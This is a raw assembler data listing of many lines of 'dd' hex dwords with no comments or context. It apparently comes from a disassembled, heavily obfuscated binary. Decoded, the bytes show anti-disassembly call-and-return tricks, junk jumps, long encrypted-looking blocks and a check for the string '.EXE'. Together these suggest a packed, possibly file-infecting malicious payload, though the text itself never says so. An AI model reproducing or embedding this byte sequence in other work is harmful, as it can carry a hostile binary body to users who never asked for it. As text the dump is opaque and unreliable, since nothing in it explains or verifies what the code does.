		dd 0CA8B6660h, 783ECCBAh, 0FE9614Eh, 7D000000h,	96771284h
		dd 0C549D92Dh, 5632F19Dh, 85C6A40Bh, 5E732A5h, 8A68F950h
		dd 0F5D1A1Dh, 0C81h, 6880F00h, 0F000000h, 8Eh, 24048100h
		dd 3A82BECCh, 12800Fh, 0DE90000h, 2000000h, 0EA0B4CFAh
		dd 0BFDB2F31h, 9F3F39Dh, 899B5FFh, 5E905E7h, 0DC000000h
		dd 33F40931h, 392A858Dh, 606005E7h, 12E9h, 4029A00h, 9E8CCBFh
		dd 52AF1B6Dh, 0FB43A908h, 81280FBCh, 18382BE9h,	880F6173h
		dd 3, 61D7BF0Fh, 880FD0FFh, 8, 28A0Fh, 61600000h, 16298589h
		dd 8F0F05E7h, 18h, 13E9h, 0E89CDA00h, 4BE969B9h, 93BD981Eh
		dd 0F667DC8Eh, 43CD8A30h, 1A8E9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 14E9A6h, 5AF20000h
		dd 783F6E59h, 37CCFC59h, 8D6BFA3Bh, 516DCF81h, 0E995D57Ch
		dd 5, 7753DBD3h, 8F0F50D1h, 18h, 13E9h,	28A0F00h, 364C9794h
		dd 390D4AC1h, 1C479D2Bh, 8102D994h, 8BF8F895h, 10820FECh
		dd 0E9000000h, 0Bh, 0A7E4054h, 20B5389Ch, 831F97DDh, 6AFCC4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0F2D149C3h, 9E04834Ch, 12E991h, 22F10000h, 1A7ED09Ch
		dd 3D7AA206h, 8459307Bh, 0EFD5DDBEh, 0A8F0F60h,	60000000h
		dd 8D0Fh, 0CF8B0000h, 0E861h, 815A0000h, 0EC8F39EAh, 0FC45C705h
		dd 0
		dd 319DBA83h, 0F0105E7h, 9884h,	6A5200h, 92FF0F6Ah, 5E72E55h
		dd 0F82895Ah, 8D05EC8Ah, 0EC8A139Ah, 3C75205h, 128h, 92FF5053h
		dd 5E719F9h, 9A8D525Ah,	5EC8A13h, 0FB2FF53h, 0FF05EC8Ah
		dd 0E7162992h, 0C00B5A05h, 9A8D5074h, 5EC8A13h,	33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 79BA8D0Ch, 8B05E72Fh, 0A4F30C4Dh,	52AAC032h
		dd 8D0875FFh, 0E72F7982h, 92FF5005h, 5E70345h, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 6AF800h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 2A115AC3h, 0E8D28BF5h, 11h, 79223CA1h, 6E9B88EBh
		dd 60D992E9h, 0D699EBB8h, 0C2BA6677h, 81F8589Eh, 5B47C0h
		dd 0EE900h, 3A6B0000h, 197E4175h, 5004EDB1h, 5AB5EA67h
		dd 16A168h, 81665000h, 5AAFC8EEh, 0CFBB6659h, 0F30FFFFh
		dd 0D83h, 8E900h, 6C950000h, 8CF8EA20h,	665F51A8h, 0F781F38Bh
		dd 3E448C3Fh, 8E9h, 96F7BB00h, 7C550BADh, 8F781F9h, 816EF79Eh
		dd 94D96FF6h, 0ECEF8103h, 0E91E18BDh, 0Dh, 13CEB84Dh, 91E3A543h
		dd 531623h, 663889DFh, 0D985DE81h, 8103E883h, 0BF5CE8D6h
		dd 0F49481Ah, 0FFFF9885h, 13E8FFh, 18150000h, 66D839C8h
		dd 6421D6ABh, 0DBAFDA73h, 9D8D4F3Fh, 9D1BBBC9h,	0E85B2D6Eh
		dd 10h,	20BA968Ah, 0A4525328h, 8DB0ADCDh, 57C240E8h, 61ABB660h
		dd 0C081FC58h, 6B98h, 21C78166h, 0FC933B6h, 18Dh, 34FFF800h
		dd 8E95E01h, 2000000h, 61C74A43h, 81ECEACCh, 447F08EEh
		dd 12E810h, 0B4740000h,	0E9C8E845h, 188692A4h, 4C256463h
		dd 0F8A8FDDCh, 8E0F51h,	5B000000h, 91F6815Bh, 0E87161C0h
		dd 9, 8795A41Ah, 8291402Dh, 0C6815BD7h,	629FD69Ah, 89D3BF0Fh
		dd 14E90834h, 0FC000000h, 7C4BD77Ah, 96DB717h, 36879838h
		dd 0E3DD14DAh, 0E930C8C9h, 8, 47A3DAAFh, 99066372h, 6601E983h
		dd 4949D88Bh, 1BC7BB49h, 0F981643Dh, 0FFFF953Ch, 0FF68850Fh
		dd 11E9FFFFh, 0E7000000h, 0B8A8BDB7h, 243FAE3h,	0BB6E1DD3h
		dd 62C4D450h, 929B8D8Dh, 6A05ECh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0ADB3A5C3h, 89C2BF0Fh
		dd 0E71AA98Dh, 0FE8B6605h, 2A4D85C7h, 5CA405E7h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0DC2F1CC3h, 32175136h, 8166580Ch, 0F5D23F6h,	84h, 3985C700h
		dd 5E727h, 0FC000000h, 2411B5FFh, 6A05E7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 839FFCC3h
		dd 356D2B29h, 820F5AF1h, 6, 2F4D8D89h, 95FF05E7h, 5E71795h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0A7C35545h
		dd 9D895385h, 5E71C9Dh,	0FF006A5Bh, 0E721C195h,	0EBC08B05h
		dd 5BB1BF2Eh, 0A7C4B7F8h, 6440BA36h, 63065D60h,	0EE13EBBAh
		dd 388ED747h, 92F1FD27h, 0DE0A50B1h, 0F3F449F6h, 0F659D238h
		dd 9B6F2262h, 0E9CA1D97h, 15Ch,	0F3761933h, 956E4DC5h
		dd 97C5EB3h, 5077503Ah,	9745078h, 507F5ED3h, 395477BFh
		dd 5006229Eh, 0C726232Bh, 63927F7Dh, 5041B09Fh,	50301286h
		dd 50301317h, 5030129Fh, 503012CBh, 503012E7h, 503012F3h
		dd 503012D6h, 503012FCh, 50301276h, 5030123Fh, 24436BCCh
		dd 70307FAAh, 335F60B7h, 0D436196h, 503012F9h, 503012FCh
		dd 5030127Eh, 5030123Fh, 5030129Fh, 503012CFh, 503012E7h
		dd 503012F3h, 503012F9h, 503012FCh, 5030127Eh, 5030123Fh
		dd 5030129Fh, 503012CFh, 503012E7h, 503012F3h, 503012F9h
		dd 503012FCh, 5030127Eh, 5030123Fh, 5030129Fh, 503012CFh
		dd 503012E7h, 503012F3h, 503012F9h, 503012FCh, 5030127Eh
		dd 5030123Fh, 5030129Fh, 503012CFh, 503012E7h, 503012F3h
		dd 503012F9h, 503012FCh, 5030127Eh, 5030123Fh, 5030129Fh
		dd 503012CFh, 503012E7h, 503012F3h, 503012F9h, 503012FCh
		dd 5030127Eh, 5030123Fh, 5030129Fh, 503012CFh, 503012E7h
		dd 503012F3h, 503012F9h, 503012FCh, 5030127Eh, 5030123Fh
		dd 5030129Fh, 503012CFh, 503012E7h, 503012F3h, 503012F9h
		dd 503012FCh, 5030127Eh, 5030123Fh, 5030129Fh, 164B52B9h
		dd 1599E9h, 960D6800h, 22E905ECh, 68FFFBB5h, 5EC9735h
		dd 0FBB518E9h, 980F68FFh, 0EE905ECh, 68FFFBB5h,	5EC98EBh
		dd 0FBB504E9h, 9A6E68FFh, 0FAE905ECh, 68FFFBB4h, 5EC9B89h
		dd 0FBB4F0E9h, 9C7968FFh, 0E6E905ECh, 68FFFBB4h, 5EC9D53h
		dd 0FBB4DCE9h, 9F2B68FFh, 0D2E905ECh, 68FFFBB4h, 5ECA023h
		dd 0FBB4C8E9h, 0A0CB68FFh, 0BEE905ECh, 68FFFBB4h, 5ECA14Ah
		dd 0FBB4B4E9h, 0A28468FFh, 0AAE905ECh, 68FFFBB4h, 5ECA771h
		dd 0FBB4A0E9h, 0A85068FFh, 96E905ECh, 0F0FFFBB4h, 10C452FCh
		dd 2FE371DFh, 4BFF8D23h, 661AA804h, 2538C670h, 0C7716743h
		dd 0E4508539h, 0FDAFA256h, 17A9BB6Fh, 54886C89h, 583EEEC9h
		dd 2683593Bh, 0AF858234h, 0AB7D0BBDh, 1EFF3343h, 0DE5E2B82h
		dd 62EE012Bh, 0AF136665h, 0CC8E257Bh, 53DD5Bh, 0E5478AB4h
		dd 8E939592h, 0A0584476h, 0DC6E8088h, 0AB9B09C5h, 0BEA6E515h
		dd 0B035262Eh, 0F0E0BA1h, 96C0BFBCh, 0F3DDF45Ah, 52h, 9DE608FDh
		dd 8E223139h, 9F7B9291h, 0E7DF6F5Dh, 0AAC3142Ch, 0E3E06A80h
		dd 19FFCDE4h, 0D95BCC72h, 5ED4C226h, 4E40339Dh,	706DDF0Dh
		dd 92071E71h, 44669190h, 0CD7B6C58h, 59EBFAD0h,	0E452245Ch
		dd 196CC011h, 0CABA2820h, 0BEA6C134h, 0D33Fh, 0E4EC4900h
		dd 22FB2FF2h, 0E25E2B82h, 23C5DC2Fh, 131B7F31h,	0E2576EDEh
		dd 6F6CDE0Ch, 0F8F54799h, 0F07E3022h, 2B855610h, 7E21335Eh
		dd 2B7ED34Ah, 2B7E315Eh, 45F7E99Dh, 0E99A5448h,	82A35185h
		dd 0F4A75BCCh, 295A9466h, 35FD91C5h, 7EC055DBh,	1CCED34Ah
		dd 547E315Eh, 0B9B8B503h, 6F7D07A2h, 1E268ADDh,	3CF07EC8h
		dd 0EA699C2Eh, 0B8C4CB74h, 130E3B1Fh, 23330000h, 530795h
		dd 7E7226B4h, 418E42D0h, 0B3A95DEBh, 86687B09h,	7C0ABCAAh
		dd 992795C8h, 0B240ECE5h, 0CC5AECFEh, 8697CBAFh, 76583EECh
		dd 0FEECBE94h, 8CC13564h, 63051CA6h, 4735C375h,	849B2D3Fh
		dd 6A67F0E2h, 81B5C5C2h, 5E2A8E9Ch, 75AAD60h, 15498B79h
		dd 5E2A8E08h, 863249FCh, 399DE608h, 0CCAA1305h,	0B81CCF5Bh
		dd 0F80FBDB0h, 5AA08183h, 0B5D5844h, 0F0E6BCB9h, 341C4946h
		dd 0B9D1CAC6h, 120FA1B1h, 0D240FC13h, 0A6CD4CE2h, 1B2365BEh
		dd 0F8257BCDh, 0C584465h, 0D7C9029Ch, 0D3264872h, 0B9D2BCh
		dd 0BEAC0000h, 0A459DA8Ch, 31DDF48Ah, 2EC1FEECh, 94940226h
		dd 0C9C6786Ah, 0DF11B3CAh, 4C9A706Dh, 6BFBFDFAh, 0A05E2B76h
		dd 0B8743F4Eh, 2D169B33h, 46984CDAh, 0DFE7F7F4h, 6929408Ch
		dd 669AFE85h, 5BCC428Eh, 7B4DDB8Eh, 4ECF0373h, 0A7584442h
		dd 2EE104A8h, 5C4377DBh, 0A855DAF2h, 538991F5h,	2B6D5BE9h
		dd 1C9126F7h, 1323D65Eh, 0C4773E0h, 0DF819826h,	830C3F89h
		dd 0DC4CB5Dh, 11E69074h, 0B5B0000h, 687B2FBDh, 569A4EDCh
		dd 0B9B66AF8h, 9BD18513h
		dd 0AE90A331h, 0A43284D2h, 0C14FFDF0h, 0DA68C40Dh, 0F4823426h
		dd 5EBFF3D7h, 9E583EEBh, 3026E6BCh, 1244F886h, 265412A0h
		dd 0AF858234h, 0C97D0BBDh, 542A2789h, 0A4CB002h, 2B8247D6h
		dd 0E784C85Eh, 0EF935955h, 0FC0219CCh, 0F3FB9639h, 76CE4F83h
		dd 6A2E5E2Bh, 2B75E736h, 0F62155Eh, 0D41658BCh,	2B767DA0h
		dd 0B5CC7F5Eh, 0CCA3D5E7h, 6A36245Bh, 0C9BE3F9Eh, 0C578132Ah
		dd 0A6B9C1BFh, 0EB35031Ah, 0F2A3B9DFh, 0F3278BFCh, 695ECDA5h
		dd 0B9ADAA5Dh, 0B6EA4E35h, 64372F0Ah, 1B0236FAh, 0E96BCAD5h
		dd 0D52CF125h, 1DD06BCAh, 0B1377CAh, 0C10367D9h, 0CAD5908Dh
		dd 0AAC1746Bh, 4CFEF0A4h, 1D6DBE19h, 0FF38CB7h,	110Ch
		dd 9972135h, 28B60255h,	44D27C74h, 5FED4390h, 7D0BBDABh
		dd 0BEAC886Ah, 9BCA7E0Ch, 0EAE79B29h, 0EE00B442h, 0CDB1CE5Ch
		dd 3EEA8499h, 0C0967858h, 82EDE4ECh, 5AE4D00Fh,	0FCF94C80h
		dd 0B565B8ECh, 0E4975E2Ah, 24F92D91h, 0D85E2AB5h, 7A6C0E25h
		dd 17D7CBC8h, 0A7FA4699h, 0B3390F43h, 0D0D85BCBh, 302F2C9Eh
		dd 6764CA06h, 3B65168h,	1DAFC175h, 0C1C22C20h, 4045295Dh
		dd 0D61855DFh, 2E2B81CEh, 2544D92Fh, 5B85E20h, 3CA053EEh
		dd 2902234h, 68DA0C14h,	0BBDAF51h, 0B3D41A0Eh, 0B2331B4Fh
		dd 6B2F5BBBh, 43B2E637h, 10631658h, 5B3A4ACh, 16F20908h
		dd 0DC6ADC0Eh, 87843628h, 0C82C5B93h, 0CD8118DAh, 0FD14A57Ch
		dd 0E467ED21h, 0F8AB55E4h, 0BD6960C5h, 0B59932C4h, 1030h
		dd 0E573DD11h, 4923E31h, 20AE0050h, 3BC9676Ch, 59E75187h
		dd 52886446h, 0B7A65AE8h, 8EC37705h, 8ADC901Eh,	0A98DAA38h
		dd 3EEAA875h, 0A47A5C58h, 0F8863026h, 60CE020Ah, 7E952736h
		dd 589A30BEh, 1BDD0DF1h, 0FA3CA0F3h, 2B1E57C6h,	9459B85Eh
		dd 698D4712h, 0A07C9346h, 0CB965C6Ch, 222EB85Bh, 3D908F8Ch
		dd 0C6786A40h, 0E0528438h, 88FFEFE3h, 0CAC0F024h, 150355E4h
		dd 3DEBDD00h, 0DD788F74h, 0B3652D2Ah, 0CE607245h, 7806E40h
		dd 4B596FA3h, 6B95BCCh,	8F213309h, 812F232Bh, 0F96E8584h
		dd 7481EFC1h, 0E24F2F86h, 444340EEh, 0ED1B5B34h, 9ED816D6h
		dd 43EFB36Ah, 598D5158h, 5843EFC4h, 0DF328538h,	81477Bh
		dd 0CE8155E5h, 0D75A8C40h, 2AFD7AA3h, 73D78A5Eh, 2AFCDE3Fh
		dd 186B1E5Eh, 0CC030B1Bh, 4D646360h, 2B0DA27Fh,	63D14F5Eh
		dd 532F5E90h, 9AE03839h, 0B7BF2376h, 0F7FD14B8h, 95C81143h
		dd 0D82B2A27h, 1DDDCBDBh, 793AD629h, 5995556Ch,	9AD5416Dh
		dd 0C81BB989h, 4AC43064h, 15C85BCCh, 2B8EC487h,	2C60C4C3h
		dd 55DFD84Ah, 0CF4E8246h, 0EC5E1FDDh, 1FDD65B8h, 0C1E4975Eh
		dd 0F1B5BB0Eh, 0ABED51FBh, 1FDDA677h, 8CA3565Eh, 0DD0C1517h
		dd 1BD35E1Fh, 82D4086Ch, 7E5BBB6Ah, 0E32567CBh,	444B6EAFh
		dd 0C4DB8E58h, 0F07E3022h, 9B982A3Ch, 0F22597C5h, 0CAA3F78Bh
		dd 0AD8C7009h, 9400000Eh, 0B468F640h, 0D38715A3h, 0EFA3319Fh
		dd 0ABE4CE0h, 0C9DC6ADCh, 6BDD0BE7h, 883429DDh,	0A10B46FAh
		dd 0BB0D5F13h, 0F82C102Dh, 583EE825h, 261FF5D7h, 0AF88630h
		dd 0F3D97E1Ch, 0C1C1B62Ah, 9037AAECh, 7D1F3689h, 0CCDCD96Bh
		dd 221F8DC4h, 0ADAA044Ch, 0A2445BAEh, 1F01FEB0h, 0E6033A1h
		dd 0C75D2EBCh, 0D2B8C063h, 144h, 823426DCh, 0BBDAF85h
		dd 4443AB7Dh, 8DF4ACE0h, 5D105BCCh, 76C35E60h, 2C3A5844h
		dd 94C79D9Ah, 0CB492B28h, 7068615Dh, 0E57C1202h, 2D87BEA6h
		dd 91000000h, 399DE608h, 0CCAA1305h, 1745CF5Bh,	0E6EE52A5h
		dd 0B82D44EAh, 0FE50A0A8h, 5A0819E7h, 2E265844h, 0CD3AD0C0h
		dd 9E45BEA6h, 4F000000h, 85823426h, 2738B9AFh, 0CA626F99h
		dd 0B2A47A77h, 525A9C00h, 0C657AD1Fh, 495E2B82h, 1C541D87h
		dd 0DC8FB2ABh, 687A50C5h, 0FE6848D6h, 0FB5E2A8Dh, 0F7C957E9h
		dd 0F82C90F7h, 5BC13429h, 0BCC428DBh, 0DA8E1CAEh, 0D6073A8Ch
		dd 0DCCAA60Eh, 0D925F43h, 0BFAF0000h, 9CCF8311h, 0E2EEA230h
		dd 0C50ABE4Ch, 3725D967h, 2E4F785h, 0F8863026h,	15A31144h
		dd 2EBC1061h, 48D6687Ah, 0A13472Bh, 0FA583EE7h,	0E4EC4218h
		dd 882A41EFh, 0A65AE852h, 87392BB4h, 0D7467A8Ah, 255E2B81h
		dd 3ECC1F72h, 71342680h, 2B81E03Dh, 489A245Eh, 0A7FAF9F6h
		dd 6F815754h, 1467D506h, 5780D286h, 0E0B6B305h,	403F3C8Eh
		dd 8D9D9AEDh, 5A658D9Fh, 0CBE2BDB0h, 9ACDE30Bh,	4377DB2Eh
		dd 5BCC0175h, 3EEEE36Dh, 79B5DEBh, 31000007h, 22863026h
		dd 8271ACE0h, 9935E2Bh,	0FD1467C9h, 829B8688h, 0AA445E2Bh
		dd 3D4175D9h, 415BC70Fh, 0B4E82A8Eh, 583EF069h,	0F5D1E89Bh
		dd 0CB8ABB3h, 57F9100Fh, 7125B305h, 0C0D0CD7Fh,	333EBBB8h
		dd 4A9D9C99h, 95374E4Dh, 6DB0E447h, 8F583EF0h, 135689DCh
		dd 81CAA953h, 0CA204E8h, 4F9F0000h, 0ACBF7301h,	92DE9220h
		dd 0F5FAAE3Ch, 0C715C957h, 0F2D4E775h, 0E876C016h, 5932134h
		dd 1EAC0051h, 38C6786Ah, 1A03371Bh, 0EA583EE6h,	0E4EC3208h
		dd 21FC30EFh, 0E35E2B82h, 0E1E0DD30h, 883228CAh, 0CB1446FAh
		dd 19786E9Dh, 70EF588Dh, 0F7CDCA1Dh, 0ADEF53E5h, 2B2DA479h
		dd 8EA5585Eh, 91993719h, 1AD6ED5Fh, 5E87D9ACh, 0C3C2BF0Dh
		dd 0B2F4E270h, 2B2D9F7Eh, 93AA5D5Eh, 0BFFA3ED4h, 0E11557B8h
		dd 5E2B393Ch, 962036C0h, 0D422C43h, 4C000000h, 2B883DFAh
		dd 0C24F875Eh, 0E5FFFFFDh, 2B8227FAh, 43949C5Eh, 0D01EDEF5h
		dd 91153B7h, 835168D4h,	5BC71003h, 0D5487CBEh, 27583EEFh
		dd 0FC25D74h, 0FFB1A3ABh, 19ABBD71h, 0A610461Ch, 0A9532673h
		dd 0E7CB64CAh, 0BC8h, 4DDB6579h, 6CFA4699h, 8816B8B8h
		dd 0A3319FD4h, 0C14FF9EFh, 0FAF0CCAEh, 0DF0EC250h, 262BDF6Dh
		dd 1244F886h, 11F512A0h, 3EE540DDh, 0CE2C458h, 85823426h
		dd 0E0BBDAFh, 99963838h, 252292C3h, 413DAB5Dh, 0E27F6D0Bh
		dd 6A2649C4h, 71DF9BB2h, 6CFA4C9Eh, 0BFDC059Bh,	1A10B8h
		dd 0FA1A0000h, 5E2B883Dh, 0E610BAB0h, 464542F4h, 51878FF3h
		dd 0E20D0E7h, 0B6FFFFFDh, 6EE0E608h, 5A3D7B81h,	0C4F85CAFh
		dd 5BCBE1E0h, 72747124h, 584396AEh, 0B2AF194Fh,	3A3795DCh
		dd 0C6C23002h, 7767D5CDh, 0BEA7C4E1h, 19AECh, 37FAF600h
		dd 7D5E2B82h, 85372901h, 9F1143F7h, 8269A0A2h, 6C645E2Bh
		dd 0F9EFC5C2h, 3D25524Fh, 5CEEFCCFh, 0F10D605Fh, 0ECFED13Fh
		dd 8BDE4E83h, 0C1C42BFDh, 4AFCEEC4h, 64D608BCh,	194F5767h
		dd 0E03399D8h, 0EE141DD0h, 0AEC572E3h, 2A9311E0h, 0D7453D5Eh
		dd 1A4EDCCAh, 14BC90A3h, 1A83EFDh, 34B3B8C0h, 0BD000001h
		dd 0BDAB3426h, 0E5BBB80Bh, 0E1B341F3h, 0DE12760Dh, 5BCC8DC2h
		dd 90928F42h, 58447691h, 0CFCC7E6Ch, 5D5AE6F9h,	7604194Dh
		dd 45F85844h, 7D79E7B9h, 2E1E8C84h, 0BEA6E598h,	27A3h
		dd 0E608AD00h, 3C31399Dh, 7D949390h, 0AAAB6DA1h, 0B4675BCCh
		dd 5A6CB5B7h, 0CAC25844h, 0CCD66C5Ch, 0A7E1BEA6h, 0EB000000h
		dd 41EFE4ECh, 8C2E4544h, 7C84E85Ah, 0DCDBD86Ah,	6C7A50C5h
		dd 786E76DAh, 3242B7CEh, 8DE7A444h, 233A88A6h, 0E0DD6F81h
		dd 0D866D80Ah, 2AA2D6F8h, 7F31235Eh, 0D61503F1h, 5B8D3DC1h
		dd 0A24C0C23h, 0D8497DE1h, 2C5BC1FAh, 0DF0D1579h, 0F9D010B0h
		dd 0CD204788h, 0EB5D8B3Fh, 0A6BCA9B8h, 0FADE77CAh, 9F0h
		dd 25B31D51h, 44D27E71h, 60EE4090h, 7B09A7ACh, 992791C7h
		dd 92C8A486h, 0F7E69A28h
		dd 0CE03B745h, 0CA1CD05Eh, 0E9CDEA78h, 3EE368B5h, 0E4BA9C58h
		dd 0F8863026h, 12A01244h, 0FBFE3624h, 3DB9EBABh, 0FEEC7A26h
		dd 1013BFD6h, 9923F7BEh, 9E56A5B5h, 0CF21C3DAh,	0C476646Ch
		dd 2ABDAF6Eh, 479A4D5Eh, 0D062744Ah, 38C8042h, 17160000h
		dd 0CEB5391Ch, 0CF20286Ah, 0D99C6A81h, 9A5BC70Fh, 0C4042FACh
		dd 0FB12789Ch, 0B5689C60h, 47583EBCh, 0C97B6A94h, 747ACDCCh
		dd 0C72B5C92h, 0DFED0193h, 514E0155h, 1F8BD24Fh, 0F6645C5Eh
		dd 0AA73A7E9h, 5A5E1F8Bh, 3BD190A7h, 46B8CBD0h,	30Ah, 8227FA50h
		dd 78AA5E2Bh, 5B5E2B82h, 87B11F53h, 0ECEE54Bh, 0F43A7E0h
		dd 5BCCABBDh, 0D27C747Ch, 805ABA8h, 0CD57F209h,	592F2C98h
		dd 1063B61Ah, 0A3EDC4DDh, 11F58ECAh, 8F8h, 1DAB1549h, 3CCA7669h
		dd 58E64888h, 7301AFA4h, 911FA9BFh, 0AAC09C7Eh,	8FDE9220h
		dd 0F6FBAF3Dh, 0C214C856h, 0E1C5E270h, 3EE270ADh, 0DCB29458h
		dd 826DFEECh, 3E691BAh,	0A6184AECh, 4A39B5A9h, 25C0B2E6h
		dd 95835BC6h, 985B84F0h, 0D8FC0C8Ah, 9BC711A8h,	7C2FCAE1h
		dd 0B1D21CEEh, 6905194Dh, 46F955DAh, 398BDAE2h,	487ECBABh
		dd 43B15E2Bh, 0DB0ABE4Ch, 0F5FD0569h, 0F9CF445Bh, 0AFF155E7h
		dd 2B48A27Bh, 86D8625Eh, 55CAE134h, 9E2A3D45h, 6027C787h
		dd 60B0C8FCh, 1B45BCCh,	0A3E2A3CEh, 0F4D871CAh,	850h, 0C553FDF1h
		dd 0E472DE11h, 8E2030h,	1BA9074Ch, 39C77167h, 72684426h
		dd 57863AC8h, 0AEA357E5h, 0AABC70FEh, 896D8A18h, 3EE2C855h
		dd 845A3C58h, 97C6E608h, 823DE014h, 0CBF5E2Bh, 0CE0266B9h
		dd 5BC71150h, 959D01B4h, 1DDF440h, 0CA58E4F9h, 7875C716h
		dd 0B5196A84h, 0DA7CF181h, 4542F555h, 82E69D51h, 0CC93FA4Eh
		dd 0C111195Bh, 33BD586Fh, 0B3E913Fh, 0CAA3D716h, 0D1270BA4h
		dd 70000007h, 9044D27Ch, 0AF63F15Fh, 0CB7F0DA3h, 0E69A2884h
		dd 0A5B846F0h, 47F1E7C3h, 64D005B9h, 7D2F22D6h,	97293BEFh
		dd 0D408EC09h, 583EE149h, 0EC03D9BBh, 423FEDE4h, 588A2C43h
		dd 0C113E9E6h, 549C726Fh, 0A641FDFAh, 0A2B7859Ah, 6BDD0F39h
		dd 0A00E8C6Eh, 82F06EA4h, 0C6FABDAFh, 5E2B6757h, 119FF2A5h
		dd 0BFF4AA40h, 13CB5B8h, 26BF0000h, 0AF858234h,	923C34BDh
		dd 0B5439695h, 187C0BE3h, 0CC8DBCE4h, 91C5075Bh, 5844768Ch
		dd 0BA6BD70h, 0C8595B58h, 66584476h, 7A10006Eh,	85BEA6E5h
		dd 28h,	8CE6088Fh, 2B82C558h, 3184375Eh, 0AA7F99CDh, 0D0835BCCh
		dd 5A50D1D3h, 0E6DE5844h, 0CCF28878h, 0C0FDBEA6h, 7000000h
		dd 1E823426h, 0B917E30h, 1447478Ah, 0C93E55A8h,	5653E5F3h
		dd 0DFDC6E80h, 2395C7CFh, 6E102726h, 389F0D7Ch,	96A13074h
		dd 8161B486h, 287B026Dh, 1E7CBA9Ah, 7F715E2Bh, 0FBDB4BCh
		dd 60BD1312h, 9D5E2AE6h, 27DAFD4Fh, 7A7446D4h, 0B071A509h
		dd 545BC194h, 27353DA1h, 5530795h, 54AF6EA2h, 9A4D5842h
		dd 0EE1D1447h, 5AF3CAA5h, 69776h, 0CBAAA00h, 2B99CA7Eh
		dd 47E9E99Dh, 62CE05B9h, 80CA20D4h, 21FDDFF2h, 3FF381CBh
		dd 5C109E2Eh, 7529B715h, 2643D163h, 0E00F0E42h,	0BED583Eh
		dd 0C9302635h, 4EE0690Bh, 7705588Fh, 0BB1F91C3h, 0FB12A2B3h
		dd 0A91907F5h, 67F04263h, 26AF5B72h, 0AF858234h, 8F7D0BBDh
		dd 8204194Dh, 0E10B5E2Bh, 8042360Dh, 0E7FEB1D4h, 3137h
		dd 6B17CD00h, 1F8304EAh, 5E75DB17h, 10264E82h, 73265BC7h
		dd 1E7F9A6Dh, 1F53B7D0h, 55DA7D54h, 5341A558h, 51A47FCFh
		dd 42C0D762h, 6070h, 0E6080600h, 0EF05399Dh, 0B25BCC81h
		dd 0A07A5AAh, 0AA73A70Bh, 5A584482h, 42F590A7h,	252D3545h
		dd 788F8E8Bh, 0ED6CC8AAh, 87F5FF9Bh, 0EA1E5896h, 64129333h
		dd 67CB1ED1h, 78D41D25h, 933DE014h, 0CBF6412h, 92CD27F5h
		dd 848C61B3h, 2DC8DF4Dh, 10FEEC7Ah, 0B0043427h,	6F1F3680h
		dd 97h,	9DE60805h, 0F710539h, 0BA6D5BC7h, 94D64352h, 0AC4232A0h
		dd 0B7BEAC37h, 63h, 9DE608C1h, 0F700539h, 0EA745BC7h, 8DF548E6h
		dd 0BBCF937Eh, 1714A0B3h, 4EBD0818h, 15FCF38Eh,	0E4D442FEh
		dd 0BEAC954Eh, 3659h, 392B3300h, 0BB0EA0B0h, 0E4ECF8A4h
		dd 6D2D44F6h, 6A9E0281h, 5BC7100Ah, 0E0EF570Ah,	0E1538235h
		dd 6FDD0EE4h, 0EF5D4572h, 168478F3h, 0AC6B9026h, 199BBEh
		dd 0FAA50000h, 5E2B9A9Fh, 0B9B9C125h, 0A4A12F40h, 565552A5h
		dd 0FF0C8F3Fh, 825FFFFh, 0F7399DE6h, 829C81B5h,	4595E2Bh
		dd 99BCBBB8h, 4501CFE6h, 0C95BC716h, 0C7091916h, 3EEE8A93h
		dd 0B0C77A58h, 0A2AEFEF0h, 0BD100F0Ch, 7B4E2559h, 9F5255DAh
		dd 4740AEA2h, 99FAFE3h,	59E35BC7h, 0BDBCB903h, 0EDFE066Ah
		dd 0EFFFD15Fh, 46003498h, 0CA55DA82h, 0A6ABB317h, 94987806h
		dd 67C60D29h, 0A5BC105Fh, 0FB5FD103h, 700CB10Dh, 47BBCB61h
		dd 8994C8D1h, 7BC604E3h, 585E75C8h, 9C00B2A4h, 0F3F04294h
		dd 0E36EAFE3h, 0DB8EC604h, 8FC7188h, 5399DE6h, 0C3A613ABh
		dd 0A91008F6h, 602548E9h, 0FEFBAE49h, 43168436h, 749DE211h
		dd 96D6752h, 323A28B6h,	0D6788F3Dh, 5E34319Bh, 45EBE80Dh
		dd 0F9F64948h, 0A376E4CCh, 0BC70FEAEh, 0A1A17B5h, 308994C8h
		dd 0C87BC06Ah, 3A1300B1h, 3A370A78h, 8460492h, 0CEA4A1EAh
		dd 0F52D2A9Ch, 2EC4B523h, 0C113C755h, 1CF8076Fh, 9FAC1A86h
		dd 0DCF34597h, 9096283Ah, 0E81C9BCCh, 5E2B8235h, 5DC114C7h
		dd 8236E71Bh, 13C65E2Bh, 988587FCh, 735E2B82h, 3E4653C1h
		dd 0E3859C32h, 2B644F0h, 5E605DCFh, 5E2B82C2h, 5B2E9C44h
		dd 4828B616h, 5E2B9E19h, 5EC26C64h, 2B64F32Ah, 0B5E115Eh
		dd 0BFF62FC4h, 0FF8D38B8h, 2642FFFFh, 161E8234h, 0FADEB9C0h
		dd 9998078Dh, 334A4946h, 0D567792Dh, 0C7B6D6Dh,	468931B0h
		dd 100D4163h, 0F45E2AA5h, 379BEE41h, 748B3D2Fh,	222A4894h
		dd 0AE6A8133h, 3D2B3340h, 2B8F8E8Bh, 2AA526F7h,	0C23D65Eh
		dd 81B5786Ah, 5E2AA59Ch, 545AAD60h, 0C081DD73h,	31E8B8h
		dd 8F20000h, 31399DE6h,	99758C20h, 0C7100E65h, 4B88125Bh
		dd 0F02A92E5h, 2C43E9E8h, 0D2D09F7Bh, 0C7B7364h, 7DFF74A8h
		dd 4E0155DAh, 2F7648h, 0EC0C0000h, 6C54BFFEh, 0A2E21009h
		dd 0C6D8477Ch, 4202196Ch, 4377DBACh, 5BC6D730h,	0A198134h
